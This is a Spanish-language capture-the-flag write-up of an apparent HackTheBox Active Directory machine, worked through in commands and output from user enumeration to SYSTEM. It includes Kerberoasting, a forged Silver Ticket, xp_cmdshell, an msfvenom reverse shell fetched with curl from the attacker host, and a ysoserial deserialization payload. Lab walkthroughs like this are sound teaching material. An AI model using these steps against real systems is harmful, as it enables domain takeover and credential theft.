Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.11.168
Nmap scan report for 10.10.11.168
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4411/tcp open found
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49688/tcp open unknown
49746/tcp open unknown
Con crackmapexec
intentamos obtener el dominio
o información pero parece que hay alguna limitación a nivel de SMB
que no nos devuelve nada interesante
❯ crackmapexec smb 10.10.11.168
SMB 10.10.11.168 445 10.10.11.168 [*] x64 (name:10.10.11.168) (domain:10.10.11.168) (signing:True) (SMBv1:False)
Sin embargo esa limitación solo afecta a SMB
, si lo hacemos por LDAP
este devuelve el dominio scrm.local
ademas del nombre de la máquina dc1.scrm.local
❯ crackmapexec ldap 10.10.11.168
LDAP 10.10.11.168 389 DC1.scrm.local [*] x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre
de la máquina que es el DC como otro dominio
❯ echo "10.10.11.168 scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts
Podemos abrir la web
pero solo vemos una página principal bastante sencilla
En la pestaña IT Services
nos muestra una alerta que nos dice que se deshabilito toda la autenticación NTLM
, abajo podemos ver un apartado Resources
Si vamos a Contacting IT Support
nos da las instrucciones y un correo
, ademas nos muestra un ejemplo desde una cmd.exe
donde vemos el usuario ksimpson
Como alternativa podemos descubrir algunos usuarios con kerbrute
indicando uno de varios diccionarios pensados especificamente para usuarios
de kerberos
❯ kerbrute userenum -d scrm.local --dc dc1.scrm.local A-ZSurnames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> dc1.scrm.local:88
> [+] VALID USERNAME: ASMITH@scrm.local
> [+] VALID USERNAME: KHICKS@scrm.local
> [+] VALID USERNAME: KSIMPSON@scrm.local
> [+] VALID USERNAME: JHALL@scrm.local
> [+] VALID USERNAME: SJENKINS@scrm.local
Esto nos deja una lista
con un total de 5 usuarios
validos en el dominio
❯ cat users.txt
asmith
khicks
ksimpson
jhall
sjenkins
Con crackmapexec
por ldap
por kerberos
podemos probar si algun usuario
utiliza su usuario como contraseña
, por ejemplo la credencial asmith:asmith
❯ crackmapexec ldap scrm.local -u users.txt -p users.txt -k --no-bruteforce --continue-on-success
LDAP scrm.local 389 DC1.scrm.local [*] x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAP scrm.local 389 DC1.scrm.local [-] scrm.local\asmith:asmith KDC_ERR_PREAUTH_FAILED
LDAP scrm.local 389 DC1.scrm.local [-] scrm.local\khicks:khicks KDC_ERR_PREAUTH_FAILED
LDAPS scrm.local 636 DC1.scrm.local [+] scrm.local\ksimpson
LDAPS scrm.local 636 DC1.scrm.local [-] scrm.local\jhall:jhall KDC_ERR_PREAUTH_FAILED
LDAPS scrm.local 636 DC1.scrm.local [-] scrm.local\sjenkins:sjenkins KDC_ERR_PREAUTH_FAILED
El usuario ksimpson
lo hace, con smbclient
podemos conectarnos autenticandonos por kerberos
ya que la autenticacion NTLM
esta deshabilitada, enumerando algunos recursos
compartidos por smb encontramos el recurso Public
que tiene un pdf
❯ impacket-smbclient scrm.local/ksimpson:ksimpson@dc1.scrm.local -k
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use Public
# ls
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 .
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 ..
-rw-rw-rw- 630106 Fri Nov 5 13:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf
#
Este nos explica los cambios
, el primero fue que se deshabilito la autenticacion NTLM
y el segundo que el uso de Mssql
solo esta habilitado para administradores
Shell - SQLSvc
Tenemos credenciales
del dominio validas, algo a probar seria un Kerberoasting
Attack, sin embargo al hacerlo con GetUserSPNs
nos devuelve un problema
❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -request -dc-ip dc1.scrm.local
Impacket v0.11.0 - Copyright 2023 Fortra
[-] exceptions must derive from BaseException
Buscamos el error
y en una discusion de github
encontramos la solucion al problema, esta es cambiar simplemente getMachineName()
por kdcHost
if self.__doKerberos:
target = self.getMachineName()
if self.__doKerberos:
target = self.__kdcHost
Ahora guardamos los cambios en el .py
y al hacer de nuevo el kerberoasting
obtenemos el hash
del usuario sqlsvc
bajo en spn MSSQLSvc/dc1.scrm.local
❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -request -dc-ip dc1.scrm.local
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 12:32:02.351452 2023-05-03 20:14:38.654579
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 12:32:02.351452 2023-05-03 20:14:38.654579
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$7c127a39e3aa0cf85b101d9b6bdb04e2$2aef49dab510aa6308f93520c807a8c65f1adf6a2c1a296b8cd2f0ee9cfbd9e5f5de009fe74d7d78ac2e2c5dd5bda887e6e45607f653b2e9ed6fa0b2299d2239c74986d3a8f848255704edc403cd34bdcf375f3e3b3a98a95d651b6ac433a78c9234dac5694b75464316e9bbe0e024aa506bd22ce98a032c6bb63a3ab7cfde623717d279b601fa692883a3508c399efa069e273238509f2b92490544d04465c7e7f51f3db959853cb3604139ada68d66b1ec78c3b45129cd82280e46c4403b94450af9bd9e5b806f636432b8268adcff1e60c9dfea6a7c5bb92da1ce0aae9de7f587391de6d26dfd920a9f616aa797732f004314d9de079800cd40d037b05984065ad14874b525c296687be32514f34b6a25bec13b11efc5c7e571a2c6a3dbd30a522d42ec5fa73c2356168f91d18a93d53f9cd325b5f13078651576ba8a84239863e6955120f903c1093836908517c385a5317648826bfda969e5a06d37f0a5cba9c0fdb0d716b9ab6e8dd03f10fa0a1d3c18a03b0ca186b51e94947cf41ac71ead139c9c2f4dfb6544e4bf8eb0d9160e4be817b24f529f16cfa437fb1482a22bc3e2074b6f95dc94c3240370cc0bc9754b7dfc060a34ae7379d9582aa8d4a3507b03a012d349e9746f2657101b0939d8b18ef8da5a58ff3bc5eb4da56cf9f40187a1499cb61abdf288b8c0003de9e4247980939779e3a168884aa61a2c1539cb199e3e46fdcf95813f0544f54ab0141bfecd4740d5c4d6afbe2488c8f7b24ca5a2d9276797974a6caf2931fd654e88971204904dda38e748dbe84ab48e9fbf6996575e2360dc01701ee526bad06a5a722a3c2dae6ed2cfeade11717b99ad70917f7490f518cc1882d96a4ae211d09bd0477db29851996bf00996193385820ec578b4b3544f0624f1078b45bc16c3a46aa29a0f4baf9a41ab84646c50629573c8879dc3516ee47b4e61357386e08842a24564452fcf2b0e1c51b0db3424e3abba24a69cb2487dab263f2a995e47a6b544850751fe2ee0b1fd5f63e96683ce905fb73cfc34a329acea18f28d93d41546e77d2943bc780a3dd069244d1a1e2771ab3fd84e49469682a39f6e6238b79e9b4042c1c6df79a538685bb603e22f7ab3d32afa8c8c04dcd825c10309d0f639c13b33f47d0146c19b01c9f435c929fce64b0c7592537881e0477b6597ccdd9cb736c3d34371a5f15aa555ce14f2705c54061d20982263d52b953eec2fdec0a3ca9a4b8e5168e7ed6be2fbb1723fe029c286839e12731df0fc167daa31a3725e1fb9e7797f20b68b107f2c444baa03cad11cf46aefa6c0b570c1668a6d81c07ede3db1b321e398e1f1095dcf312d7d2b2ea50cb96eb6effaa8ee0ada5041469e09f4a93925909be921c33d38120fe236e0167cf2098baa80003c5d626862f84fe014cfbde3d9a934adc86eb9
Aunque una forma mas facil de hacer kerberoasting
attack es desde crackmapexec
, este igual nos devuelve el hash
del usuario sqlsvc
sin ningun tipo de problema
❯ crackmapexec ldap scrm.local -u ksimpson -p ksimpson -k --kerberoasting hash
LDAP scrm.local 389 DC1.scrm.local [*] x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAPS scrm.local 636 DC1.scrm.local [+] scrm.local\ksimpson
LDAPS scrm.local 636 DC1.scrm.local [*] Total of records returned 2
LDAPS scrm.local 636 DC1.scrm.local sAMAccountName: sqlsvc memberOf: pwdLastSet: 2021-11-03 12:32:02.351452 lastLogon:2023-05-19 21:48:25.014834
LDAPS scrm.local 636 DC1.scrm.local $krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$4d9d12670b6058d6ed09729784bb2c36$403269bf1b8ba8582fb46aabeca813c9afea43545a0fbeecf1b34fce97b6572126e8f81a9cd50719f7577a2a0b7f6d59e169d1f92cc4943af7cc3e441876dd65eb8f6c2b8ab5e71af5dba32ba3b858e906be66a00df3230e4001f0a59398379aeb3f19551b666b7c97f8258dc1fa9b1dc84fae497bccb9b12b2318396e41f34856f146717ef92c1a933364165a257e9788c1a09d6a84a0eca89d4fa953e129d4c55ad4300e266b779c4421dc46bc25e04226c55ef3ade3e6977b30185616b66abddae4c81723b58ec69edcb6dfea5ad707b4f68a131d787e947ab090d0f94c59ce191f203d3ea28140bc338244b052975702535cfcdd5ad99e9e9506b82a97d5bcb38f4fa1a7b9fd3ad8e56feae6926e8495d5874143e4197a353a0d2a8855e9838e6f60a70dfb5ffcd6fdcfd4d53eaf1989f3b4347390e78ddfa1763d1ae6a8e1f998fa1987930bed159a61af9a8cc9bb752a694122fbb98b4e6b7869330d2de9e7f458aa5b6a992d2260c19c66917c4df920eb3124153c0e48bd824e11d9a98728ed459587c7be114e4bd646054afd7317db7b580d6c73bd1a15ba985d22d1d521d2a3e9105d8bf7150b1755353a50bb0b81f1926ac68e1d0dfdbd820a178135d69fa0ecf9b7e951c1759ec1d648d238351daae1954f53fa6e991ef07692f5646838703723d109e31153049bb8c24e1975d0e50924baa9761bf6664b72e0987942b753a15b713d4accbbd99149ec400d6fb0f1241984cb783ad459ecf8ae8583719491aa28adf738cbda92f9e99780c9cb814b71640829a4be5403d833def60613450e1547647654854d73422857b118d9626ffb0f843961eea56e8c60704fdca6653e85b192531d773e9e480f6ca66784de9c132f4a87f697f6cdd09250a858ac4abd624bb4e9caebe9acd77782566fbb23b3bff9794680ab02d22569ea070e0c3300f5ae37c07b88bd5b7f4605c0c42b917b43db24b7be92642968232924ac9b581bc8b18c1f19cbd307f0f4dcf21a4c75df0eb9c2441dd45dc1d1cbe93728b985ba6c2ff7b9896e23cc3255f18731c48d4b0a99a2e2e9d43e37fd8285e3e93d6c0e463e7f109c5c2fdb24b4792a7080c1c20beff83fa83da11d08dc39cba671429e43af5199ceaecc268c2af5de85da31d3384cbc4de9196bc1b886c04eebcf51ece0c6caac45cad525ea345a79e0ca3e2477e8b4ae2e708e5d80523a9ac43b354c5b688ec32f3637505e539102e0e3bbc486550cf98d1541e4081979c494d210aa16c53bdfcdbf59fff85a39fb7ab8b7797477d71ce9bfd781a3ed2ef058845185d9fbbb3675fef12922b03b899b750c09907add59d6ed66d6b7cfdb71eafb45dfd762392c044bd507162a8194a51d42595111fbc34a631de83d9ecbe228bba333ca441b5e8a8f83b50052027f95342bc28f4bcc120e1634
Al pasarle este hash a john
obtenemos la contraseña Pegasus60
para sqlsvc
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60 (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Al intentar conectarnos a mssql
nos devuelve Login failed
, esto es porque como vimos el pdf
la autenticacion a mssql solo nos funcionara como un administrador
❯ impacket-mssqlclient scrm.local/sqlsvc:Pegasus60@dc1.scrm.local -k
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\sqlsvc'.
Mediante un Silver Ticket
con ese SPN
podriamos suplantar al usuario Administrator
pero antes de ello necesitamos varias cosas, iniciaremos con el SID
del dominio que podemos obtener con getPac
que entre la informacion lo muestra
❯ impacket-getPac scrm.local/ksimpson:ksimpson -targetUser ksimpson | grep SID
Domain SID: S-1-5-21-2743207045-1827831105-2542523200
Lo siguiente es el hash NT
, ya que tenemos la contraseña
podemos convertirlo
❯ echo -n Pegasus60 | iconv -t utf16le | openssl md4
MD4(stdin)= b999a16500b87d17ec7f2e2a68778f05
Ahora con ticketer
bajo el SPN MSSQLSvc/dc1.scrm.local
con la información que hemos obtenido generamos un ticket
que nos otorgara como Administrator
❯ impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
❯ export KRB5CCNAME=Administrator.ccache
Este privilegio de Administrator
se limita al servicio del SPN
, asi que podemos conectarmos a mssql
haciendo uso de la autenticacion de kerberos
con el
❯ impacket-mssqlclient dc1.scrm.local -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
Como somos administradores
podemos habilitar el modulo xp_cmdshell
para ejecutar comandos
, ejecutamos un whoami
y lo hace como el usuario sqlsvc
SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output
-----------
scrm\sqlsvc
SQL>
Para obtener una powershell
inicaremos por generar un exe
malicioso que nos haga una revshell
, despues lo compartimos con un servicio http
con python
❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1887 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora desde xp_cmdshell
descargamos el shell.exe
y lo guardamos en C:\ProgramData
, seguidamente lo invocamos para que nos envie la shell
SQL> xp_cmdshell curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe
output
--------------------------------------------------------------------------
SQL> xp_cmdshell C:\ProgramData\shell.exe
Al hacerlo obtenemos una powershell
en la maquina como el usuario sqlsvc
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user sqlsvc on DC1
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
scrm\sqlsvc
PS C:\Windows\system32>
Shell - MiscSvc
Antes de seguir nos conectaremos de nuevo a mssql
para enumerarlo, si listamos las bases de datos
existentes en el servidor nos encontramos con ScrambleHR
SQL> select name from sys.databases;
name
----------
master
tempdb
model
msdb
ScrambleHR
SQL>
En esa base de datos tenemos solo 3 tablas
donde solo destaca UserImport
SQL> select name from ScrambleHR.sys.tables;
name
----------
Employees
UserImport
Timesheets
SQL>
Listamos todo el contenido de la tabla UserImport
de la base de datos ScrambleHR
, esta contiene lo que parece ser credenciales
de el usuario MiscSvc
en Ldap
SQL> select * from ScrambleHR.dbo.UserImport
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
-------- ----------------- ---------- --------------- -------------
MiscSvc ScrambledEggs9900 scrm.local 90 0
SQL>
Podemos comprobarlas con crackmapexec
autenticandonos por kerberos, son validas
❯ crackmapexec ldap scrm.local -u miscsvc -p ScrambledEggs9900 -k
LDAP scrm.local 389 DC1.scrm.local [*] x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAPS scrm.local 636 DC1.scrm.local [+] scrm.local\miscsvc
Ya que es un usuario del dominio desde la shell
de sqlsvc definimos la credencial
de MiscSvc
, con ella usando Invoke-Command
podemos ejecutar comandos
PS C:\Windows\system32> $SecPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
PS C:\Windows\system32> $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
PS C:\Windows\system32> Invoke-Command -ComputerName dc1 -Credential $Cred -Command { whoami }
scrm\miscsvc
PS C:\Windows\system32>
Nos devuelve el output como el usuario miscsvc
, asi que simplemente podemos ejecutar el shell.exe
que hemos subido antes para enviarnos una powershell
PS C:\Windows\system32> Invoke-Command -ComputerName dc1 -Credential $Cred -Command { cmd /c C:\ProgramData\shell.exe }
Al hacerlo recibimos la shell como el usuario miscsvc
donde podemos leer la flag
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user miscsvc on DC1
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents> type ..\Desktop\user.txt
a19**************************e91
PS C:\Users\miscsvc\Documents>
Otra forma es mediante winrm
, sin embargo ya que la autenticacion NTLM
esta deshabilitada para autenticarnos por kerberos
es necesario configurar el realm
SCRM.LOCAL
el cual se agrega desde el archivo /etc/krb5.conf
en los realms
[realms]
SCRM.LOCAL = {
kdc = dc1.scrm.local
admin_server = dc1.scrm.local
default_domain = scrm.local
}
Una vez agregado con getTGT
de impacket solicitamos un ticket
para el usuario MiscSvc para con este despues exportar en la variable KRB5CCNAME
❯ impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Saving ticket in MiscSvc.ccache
❯ export KRB5CCNAME=MiscSvc.ccache
Ahora autenticandonos con el ticket
antes generado podemos conectarnos con evil-winrm
a la maquina indicando el realm
que hemos agregado de antes
❯ evil-winrm -i dc1.scrm.local -r scrm.local
PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents> type ..\Desktop\user.txt
a19**************************e91
PS C:\Users\miscsvc\Documents>
Shell - Administrator
Enumerando el equipo en el directorio C:\Shares
encontramos las carpetas de todos los recursos
que se comparten por smb, aun nos falta enumerar el recurso IT
PS C:\Shares> dir
Directory: C:\Shares
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 01/11/2021 15:21 HR
d----- 03/11/2021 19:32 IT
d----- 01/11/2021 15:21 Production
d----- 04/11/2021 22:23 Public
d----- 03/11/2021 19:33 Sales
PS C:\Shares>
Dentro de algunos directorio en IT
nos encontramos con un archivo exe
y un dll
PS C:\Shares\IT\Apps\Sales Order Client> dir
Directory: C:\Shares\IT\Apps\Sales Order Client
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 05/11/2021 20:52 86528 ScrambleClient.exe
-a---- 05/11/2021 20:52 19456 ScrambleLib.dll
PS C:\Shares\IT\Apps\Sales Order Client>
Nos conectamos a IT
con smbclient como miscsvc
y descargamos los archivos
❯ impacket-smbclient scrm.local/miscsvc:ScrambledEggs9900@dc1.scrm.local -k
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use IT
# cd Apps\Sales Order Client
# mget *
[*] Downloading ScrambleClient.exe
[*] Downloading ScrambleLib.dll
#
Podemos decompilar el binario con dnspy
y ver su codigo base y algunas funciones
Analizemos un poco el codigo en este caso la función UploadNewOrder
que realiza algunas validaciones, despues llama a UploadOrder
de Client con un argumento
private void UploadNewOrder(object NewOrder)
{
string errorMessage = string.Empty;
try
{
this.Client.UploadOrder((SalesOrder)NewOrder);
}
catch (Exception ex)
{
errorMessage = ex.Message;
}
finally
{
this.UploadNewOrderFinished(errorMessage);
}
}
Veamos que hace la función UploadOrder
, lo interesante en este metodo es que toma el argumento que es NewOrder
y usa SerializeToBase64()
para serializarlo
public void UploadOrder(SalesOrder NewOrder)
{
try
{
Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
string text = NewOrder.SerializeToBase64();
Log.Write("Order serialized to base64: " + text);
ScrambleNetResponse scrambleNetResponse = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
if (type != ScrambleNetResponse.ResponseType.Success)
{
throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
}
Log.Write("Upload successful");
}
catch (Exception ex)
{
Log.Write("Error: " + ex.Message);
throw ex;
}
}
Entonces vamos con SerializeToBase64()
, podemos ver que para serializar la data que recibe usa BinaryFormatter
que es vulnerable a un ataque de deserialización
public string SerializeToBase64()
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
Log.Write("Binary formatter init successful");
string result;
using (MemoryStream memoryStream = new MemoryStream())
{
binaryFormatter.Serialize(memoryStream, this);
result = Convert.ToBase64String(memoryStream.ToArray());
}
return result;
}
Todo esto lo corre el exe desde el puerto 4411
que esta abierto en la maquina
public ScrambleNetClient()
{
this.Server = string.Empty;
this.Port = 4411;
}
Usaremos ysoserial para crear una data en base64
en el formato BinaryFormatter
con su respectivo gadget
, como comando ejecutaremos el shell.exe
de antes
PS C:\CTF\ysoserial> .\ysoserial.exe -f BinaryFormatter -g AxHostState -o base64 -c "C:\ProgramData\shell.exe"
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAKUDAAACAAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxwU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIEM6XFByb2dyYW1EYXRhXHNoZWxsLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LCw==
PS C:\CTF\ysoserial>}
Nos conectamos al puerto 4411
de la maquina donde nos recibe el programa, con UPLOAD_ORDER;
como prefix enviamos nuestra data
serializada que generamos
❯ netcat 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAKUDAAACAAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxwU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIEM6XFByb2dyYW1EYXRhXHNoZWxsLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LCw==
ERROR_GENERAL;Error deserializing sales order: Unable to cast object of type 'State' to type 'ScrambleLib.SalesOrder'.
Al hacerlo ejecutara el comando
que en este caso indicamos que es shell.exe
el cual nos envia una powershell
, en este caso lo hace como nt authority\system
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user DC1$ on DC1
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
e69**************************e5e
PS C:\Windows\system32>
Solo como extra con mimikatz
haremos un dcsync
para dumpear los hashes del ntds
, en este caso simplemente nos interesa el NT
del usuario Administrator
